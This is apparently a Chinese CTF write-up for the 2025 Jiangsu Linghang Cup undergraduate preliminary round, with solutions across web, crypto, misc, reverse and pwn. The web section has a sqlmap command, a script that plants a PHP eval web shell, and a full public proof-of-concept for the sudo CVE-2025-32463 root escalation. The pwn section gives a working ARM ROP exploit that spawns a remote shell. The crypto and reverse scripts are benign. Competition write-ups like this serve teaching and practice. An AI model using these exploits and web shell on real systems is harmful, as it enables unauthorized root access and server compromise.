江苏省2025年领航杯本科组初赛wp

which 发布于 6 天前 49 次阅读


WEB

sqllogic

sqlmap一把梭

sqlmap -u "http://123.56.252.211:10664/search/results?query=1"  --columns --batch

2345

#!/bin/bash
echo '<?php @eval($_POST[1]);?>' > /var/www/html/1.php

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

if [ $# -eq 0 ]; then
    # If no command is provided, default to an interactive root shell.
    CMD="/bin/bash"
else
    # Otherwise, use the provided arguments as the command to execute.
    CMD="$@"
fi

# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

CnHongKe{d615970bc4725ca2881af2c3feb0478a}

golang

获取伪造生成的cookie

带着 cookie 访问 game 页面

MTc2MDE2OTgyMHxEWDhFQVFMX2dBQUJFQUVRQUFBa180QUFBUVp6ZEhKcGJtY01Cd0FGZFc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzAabBhc-VOfs8KzCZndDVC4_WKdGhmvjFMwYixdZz_JQ==

获取 最新 cookie

带着 cookie 溢出 uint

查询价格

直接购买

crypto

RSA

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
RSA解密脚本 - 已知p+q的情况
"""

from Crypto.Util.number import long_to_bytes
import gmpy2

# 给定参数
p_plus_q = 301373203983817824477439781534648401500842793282411404304301004942220186206581945329851921383676578008738506418463185879860170405131152673310026966497726612152197141905257847270740782364013354175714127481150850206109485711163887373627922341760228110260532723481173348391642406634353323878411601361842817092974
n = 22706452019867966957603292040239249656783271638275547949792948472441673600393404776639671556600972159561228195172828850121688563632354441827910317374334762253711257094452219019913838320749888757948671138527754644273314857226487685803702221952322341679579537247638368581421747822602230905395431324269325046498791252526134925074633632521386021742253585690143278743099488718148499923475446478820226501358783989810857039034707768666474531998849061930723568757001438038878841981597866003546087691114191895019307243858055480921158021862316907804411554035235551361584456019703754251025092795892845528284666131859286039957069
c = 2358571643102472923122500075787452598516766071370185837864940488229202552169938085261784772315266184694364102023094642619257608920232093230626641925391931379387980767218708329616769641160305637297277469928161910756641223833942092135652354528447848276608048126136831705765881677600714289921757257038772819092396931225927654746227485343260490301085754241972144588991894115723285529705590897520934565600082411128017261307911094968820350788498111156927072204349872027277191840808036688917351083872755943221966031648196822653168427381434608991754887592555395790306162858971574716787849155152223077184142414842900196150337
e = 65537

def solve_rsa_with_sum():
    """
    已知 p+q 和 n=p*q,求解p和q

    方法:
    设 sum = p + q, prod = p * q = n
    p和q是方程 x^2 - sum*x + prod = 0 的两个根

    利用求根公式:
    x = (sum ± sqrt(sum^2 - 4*prod)) / 2
    """
    print("[*] 开始RSA解密...")
    print(f"[*] p + q = {p_plus_q}")
    print(f"[*] n = p * q = {n}")
    print(f"[*] e = {e}")
    print()

    # 计算判别式 delta = (p+q)^2 - 4*n
    print("[*] 计算判别式 delta = (p+q)^2 - 4*n")
    delta = p_plus_q * p_plus_q - 4 * n

    # 判断delta是否为完全平方数
    sqrt_delta, is_perfect = gmpy2.iroot(delta, 2)

    if not is_perfect:
        print("[-] 错误: 判别式不是完全平方数!")
        return None

    print(f"[+] sqrt(delta) = {sqrt_delta}")
    print()

    # 计算 p 和 q
    # p = (sum + sqrt_delta) / 2
    # q = (sum - sqrt_delta) / 2
    p = (p_plus_q + sqrt_delta) // 2
    q = (p_plus_q - sqrt_delta) // 2

    print(f"[+] 求得 p = {p}")
    print(f"[+] 求得 q = {q}")
    print()

    # 验证
    if p * q != n:
        print("[-] 错误: p * q ≠ n")
        return None

    print("[+] 验证成功: p * q = n")
    print()

    # 计算欧拉函数 phi(n) = (p-1)(q-1)
    phi = (p - 1) * (q - 1)
    print(f"[*] phi(n) = (p-1)(q-1) = {phi}")
    print()

    # 计算私钥指数 d = e^-1 (mod phi(n))
    d = gmpy2.invert(e, phi)
    print(f"[*] 私钥 d = {d}")
    print()

    # 解密: m = c^d mod n
    print("[*] 解密中: m = c^d mod n")
    m = pow(c, d, n)
    print(f"[+] 明文(数字) m = {m}")
    print()

    # 转换为字节串
    flag = long_to_bytes(m)
    print(f"[+] Flag: {flag.decode('utf-8', errors='ignore')}")

    return flag

if __name__ == "__main__":
    print("=" * 70)
    print("RSA解密工具 - 已知p+q的情况")
    print("=" * 70)
    print()

    result = solve_rsa_with_sum()

    if result:
        print()
        print("=" * 70)
        print("[✓] 解密成功!")
        print("=" * 70)
    else:
        print()
        print("=" * 70)
        print("[✗] 解密失败!")
        print("=" * 70)

CnHongKe{Easy_PQ_rSa}

共享素数的秘密


from Crypto.Util.number import long_to_bytes, inverse, GCD
from gmpy2 import gcd, iroot
import itertools

# 模数
n1 = 56088008965912130802747006202589200897645894111616159240615135530594117224000675629455819563588231472643625595686366682188919598653105172015094881691898499378912716020840752984151314538087395538106575146567102010401472934502891840971702729794865317218830777968098318733607885032325416544008401737222663463927
n2 = 79698662529104884373850883885092786425378361341470755123774711094581066711387406537130963967615734721901191432817705781244778741449056391955658028947318389120074762718425616234515746662953963938700160718927275842762288104111877590437745495897061968718262508284419023547097025649881080019665312309174342738211
n3 = 61279553608048672065640333496005113932588314658443474260029634516905668855746757892828131665996650258763135383499333634727193801319493399143270221072002120795632302453083738709523760910058500305615003368888120365810299904118282981929667753265717802765281191078081581581190432600539304051783114168609932897717
n4 = 132724788617222723452659083149720243855798612628783146360091493635188455634321606927210341297542315817279256225977027677145920565092040466436500605257081950797902208052046182862572799684811953443491808405030547521661392489097817792562135857106116829321199606856821416850340277225530184540965348223039332455263
n5 = 113496612162321230277786197902492778500132561775602887364148079310504617024805717362729528596618251392677825931796671720459064371935893691696655999116709977526226488134251513085006500013220817782821680160949278481154644636939776915334490113620170819325084377050433936890694130321313219173743384816878843783797
n6 = 82042867737177392879251287613134211463303321837876107018669705562718506977743201641288163148654285000224545412305519517467940249181018423157431646076230302159304116129663069166025759008866627799109362546089222706883284678958398391038185012116429274690638701988762697407604742785893375340714818581070552071393

# n1的已知高位(35%已知)
n1_high_bits = "10001111110010000010000000100001011110010001010110101101000011101110000101100011100001001010100010101001110001000000000010110011101001101010111110001010101010010010110100111011001"

# n3的已知高位(35%已知)- 和n1相同
n3_high_bits = "10001111110010000010000000100001011110010001010110101101000011101110000101100011100001001010100010101001110001000000000010110011101001101010111110001010101010010010110100111011001"

# n2的已知高位
n2_high_bits = "10010000111110001110010011011000110101011001110010001100100001010011111110101110010101110000111010101010111010010011110100000010010110101011111101011011010110111101011011111000100"

e = 65537
c = 53557202949970474229543701499534368969296602696197749254760571931284132378838295003523268292879427494968356973705556907838418612139206352857882448965592957329168466992619269779833256041841034176259833688341251540338449443882616537656743522443815950027487220704678426478415676402041165334669995009765469366579

def analyze_moduli():
    """分析模数之间的关系"""
    print("[*] 分析模数之间的GCD关系...")

    moduli = [n1, n2, n3, n4, n5, n6]

    for i in range(len(moduli)):
        for j in range(i+1, len(moduli)):
            g = gcd(moduli[i], moduli[j])
            if g > 1 and g != moduli[i] and g != moduli[j]:
                print(f"[+] 找到共同因子!n{i+1} 和 n{j+1} 的GCD = {g}")
                print(f"    n{i+1} bit length: {g.bit_length()}")
                return i+1, j+1, g

    print("[-] 未找到明显的共同因子,尝试其他方法...")
    return None, None, None

def fermat_factorization(n, max_iterations=100000):
    """费马分解法 - 适用于两个因子接近的情况"""
    print(f"[*] 尝试费马分解 n (bit_length={n.bit_length()})...")

    a, is_perfect = iroot(n, 2)
    a = int(a)

    if is_perfect:
        return a, a

    a += 1

    for i in range(max_iterations):
        b_squared = a * a - n
        b, is_perfect = iroot(b_squared, 2)

        if is_perfect:
            b = int(b)
            p = a - b
            q = a + b
            if p * q == n:
                print(f"[+] 费马分解成功!")
                return p, q

        a += 1

    print("[-] 费马分解失败")
    return None, None

def partial_key_recovery():
    """利用部分比特信息恢复密钥"""
    print("[*] 尝试利用部分比特信息...")

    # n1和n3共享高35%的比特,说明它们可能共享一个质因子p
    # 我们先尝试直接计算GCD
    g = gcd(n1, n3)
    if g > 1:
        print(f"[+] n1和n3存在公因子: {g}")
        print(f"    bit_length: {g.bit_length()}")

        # 验证这个因子
        if n1 % g == 0 and n3 % g == 0:
            p1 = g
            q1 = n1 // g
            q3 = n3 // g

            print(f"[+] 分解成功!")
            print(f"    n1 = {p1} * {q1}")
            print(f"    n3 = {p1} * {q3}")

            return {'n1': (p1, q1), 'n3': (p1, q3)}

    return None

def factorize_all_moduli():
    """尝试分解所有模数"""
    print("\n" + "="*60)
    print("[*] 开始分解所有模数...")
    print("="*60 + "\n")

    factors = {}

    # 方法1:先检查互相的GCD
    moduli = {'n1': n1, 'n2': n2, 'n3': n3, 'n4': n4, 'n5': n5, 'n6': n6}
    names = list(moduli.keys())

    for i in range(len(names)):
        for j in range(i+1, len(names)):
            name_i, name_j = names[i], names[j]
            g = gcd(moduli[name_i], moduli[name_j])

            if g > 1 and g != moduli[name_i] and g != moduli[name_j]:
                print(f"[+] 找到共同因子!{name_i} 和 {name_j}")
                print(f"    公因子 bit_length: {g.bit_length()}")

                # 分解这两个模数
                if name_i not in factors:
                    p = g
                    q = moduli[name_i] // g
                    factors[name_i] = (p, q)
                    print(f"    {name_i} = p * q")

                if name_j not in factors:
                    p = g
                    q = moduli[name_j] // g
                    factors[name_j] = (p, q)
                    print(f"    {name_j} = p * q")

    # 方法2:对未分解的模数尝试费马分解
    for name, n in moduli.items():
        if name not in factors:
            print(f"\n[*] 尝试分解 {name}...")
            p, q = fermat_factorization(n)
            if p and q:
                factors[name] = (p, q)
                print(f"[+] {name} 分解成功!")

    return factors

def decrypt_with_factors(factors):
    """使用分解后的因子解密"""
    print("\n" + "="*60)
    print("[*] 尝试解密...")
    print("="*60 + "\n")

    # 尝试每个模数
    for name, (p, q) in factors.items():
        n = p * q

        # 验证n是否正确
        moduli = {'n1': n1, 'n2': n2, 'n3': n3, 'n4': n4, 'n5': n5, 'n6': n6}
        if n != moduli[name]:
            print(f"[-] {name} 因子验证失败")
            continue

        print(f"[*] 使用 {name} 尝试解密...")
        print(f"    p bit_length = {p.bit_length()}")
        print(f"    q bit_length = {q.bit_length()}")

        # 计算phi
        phi = (p - 1) * (q - 1)

        # 检查e和phi是否互质
        if gcd(e, phi) != 1:
            print(f"[-] e 和 phi 不互质,跳过")
            continue

        try:
            # 计算私钥d
            d = inverse(e, phi)

            # 解密
            m = pow(c, d, n)

            # 转换为字节
            flag_bytes = long_to_bytes(m)

            # 尝试多种解码方式
            print(f"[*] 尝试解码...")
            print(f"    原始字节长度: {len(flag_bytes)}")
            print(f"    前20字节(hex): {flag_bytes[:20].hex()}")

            # 尝试UTF-8
            try:
                flag_str = flag_bytes.decode('utf-8')
                if flag_str.isprintable() or 'flag{' in flag_str.lower():
                    print(f"[+] ✓ 解密成功!使用 {name}")
                    print(f"[+] Flag: {flag_str}")
                    print()
                    return flag_bytes
            except:
                pass

            # 尝试Latin-1
            try:
                flag_str = flag_bytes.decode('latin-1')
                if 'flag{' in flag_str.lower():
                    print(f"[+] ✓ 解密成功!使用 {name} (latin-1)")
                    print(f"[+] Flag: {flag_str}")
                    print()
                    return flag_bytes
            except:
                pass

            # 显示原始字节(可能是其他格式)
            print(f"[-] {name} 解密结果无法解码为可读文本")
            print(f"    原始字节: {flag_bytes}")
            print()

        except Exception as ex:
            print(f"[-] 解密失败: {ex}")
            import traceback
            traceback.print_exc()

    return None

def main():
    print("""
    ╔═══════════════════════════════════════════════════════════╗
    ║        RSA 部分比特泄露攻击 - 密码2 解密脚本               ║
    ╚═══════════════════════════════════════════════════════════╝
    """)

    # 第一步:分解所有模数
    factors = factorize_all_moduli()

    if not factors:
        print("[-] 未能分解任何模数")
        return

    print(f"\n[+] 成功分解 {len(factors)} 个模数")

    # 第二步:使用分解结果解密
    flag = decrypt_with_factors(factors)

    if flag:
        print("\n" + "="*60)
        print("[√] 解密完成!")
        print("="*60)
    else:
        print("\n[-] 所有解密尝试均失败")

if __name__ == "__main__":
    main()

CnHongKe{6cac5c4e6a8f4e8d9b2e3c8a}

MISC

ftpconfix

在数据包56中发现Base58编码的数据:

9XUnxxRh9REHLRUSizjk3HJ1cfX7kgCtXxMyA9Sv7M8Z66ntasgqAhau88UbGGhwZA

解码(十六进制):

e869d6e17648b0fcac51ff60c0604f382bbf44daad80c5fc970c5a51d373a67a71218f9b7f73536f210b974af8f11071

在压缩包中发现如下提示:

=== CONFIDENTIAL FINANCIAL REPORT ===
Quarter: Q2 2024
Revenue: $12,450,000
Expenses: $8,210,000
Net Profit: $4,240,000

Key Metrics:
- Customer Growth: +18%
- Market Share: 22.4%

Note: All sensitive data is encrypted. Flag: CnHongKe{THIS_IS_A_DECOY}
Hint: Why not Base64? Try Base58 for better stealth.

Key hint: SHA256 fragment ; IV hint: time struct (!HBBBBBB,year,month,day,hour,minute,second,0) + zero padding

提取关键信息

- 密钥来源: ftp_key (需要SHA256哈希处理)

- IV构造方式: 时间结构 (!HBBBBBB,year,month,day,hour,minute,second,0) + 零填充

- 时间: 2024年3月15日 09:30:00

- 加密算法: AES (根据密钥长度和IV长度判断)

- 加密模式: CBC (根据需要IV判断)

构造密钥和IV

构造IV

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
import struct

# 密文
ciphertext = bytes.fromhex("e869d6e17648b0fcac51ff60c0604f382bbf44daad80c5fc970c5a51d373a67a71218f9b7f73536f210b974af8f11071")

# 密钥: SHA256("ftp_key")的前16字节
key = hashlib.sha256(b"ftp_key").digest()[:16]

# IV: 从时间戳2024-03-15 09:30:12构造
iv = struct.pack('!HBBBBBB', 2024, 3, 15, 9, 30, 12, 0) + b'\x00' * 9

# AES-128-CBC解密
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), 16)

# 结果
print(plaintext.decode('utf-8'))
# 输出: CnHongGe{FTP_Exf1l_v1a_Mult1_Ch4nn3l}
CnHongKe{FTP_Exf1l_v1a_Mult1_Ch4nn3l}

破碎的图片

REVERSE

py逆向

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64

def custom_b64decode(s):
    """
    使用自定义Base64表解码字符串
    """
    # 自定义字符表(从pyc中提取)
    custom_table = "XYZABCDEFGHIJKLMNOPQRSTUVWxyzabcdefghijklmnopqrstuvw0123456789+/"
    # 标准Base64字符表
    standard_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

    # 创建转换映射
    translation = str.maketrans(custom_table, standard_table)

    # 将自定义Base64转换为标准Base64
    standard_b64 = s.translate(translation)

    try:
        # 进行标准Base64解码
        decoded_bytes = base64.b64decode(standard_b64)
        flag = decoded_bytes.decode('utf-8')
        return flag
    except Exception as e:
        return f"解码错误: {e}"

def main():
    # 读取加密的flag
    with open('encrypted_flag.txt', 'r') as f:
        encrypted_str = f.read().strip()

    print(f"加密的字符串: {encrypted_str}")
    print(f"字符串长度: {len(encrypted_str)}")
    print()

    # 第一次解密
    decoded_once = custom_b64decode(encrypted_str)
    print(f"第一次解密结果: {decoded_once}")

    # 检查是否需要多次解密(base64套娃)
    current = decoded_once
    count = 1
    while True:
        try:
            # 尝试继续解密
            next_decoded = custom_b64decode(current)
            if next_decoded == current or next_decoded.startswith("解码错误"):
                break
            count += 1
            current = next_decoded
            print(f"第{count}次解密结果: {current}")
        except:
            break

    print()
    print(f"=" * 50)
    print(f"最终FLAG: {current}")
    print(f"=" * 50)

if __name__ == "__main__":
    main()

CnHongKe{SpAcia1_ba3e_64}

PWN

arm pwn

存在栈溢出,泄露0x104个字节即可

思路,获取puts函数的真实地址,然后根据偏移计算system和binsh的偏移地址,最终得到flag 由于程序不存在pop{r0,pc},但是存在pop {r3,pc} 和MOVR0, R3,通过这个控制r3,同样可以控制r0 由于程序在泄露出真实地址后返回到主函数会崩溃,且真实地址不会发生变化,所以我可以直接将puts 函数的真实地址写死,一遍就可以打通

完整exp

 from pwn import *
 context(log_level='debug',arch='arm',os='linux')

 p=remote("123.56.252.211",12391)
 libc=ELF('./libc-2.27.so')
 elf=ELF("./pwn")

 puts_plt=0x000105E0
 puts_got=elf.got['puts']

 pop_r11_pc=0x00010688
 pop_r3_pc=0x000103f0
 mov_r0_r3=0x000106C0
 main_addr=0x000105D0
 real_puts=0xff6c38b8

 p.recvuntil("Username: ")

 p.sendline("admin")
 p.recvuntil("Password: ")

 libc_base=real_puts-libc.sym['puts']
 system_addr=libc_base+libc.sym['system']
 binsh_addr=libc_base+libc.search(b"/bin/sh\x00").__next__()
print(binsh_addr)
 payload=b'a'*
 (0x104)+p32(pop_r3_pc)+p32(binsh_addr)+p32(mov_r0_r3)+p32(0x12345678)+p32(system_
 addr)

 p.sendline(payload)
 p.interactive()
不啻微芒,造炬成阳
最后更新于 2025-10-16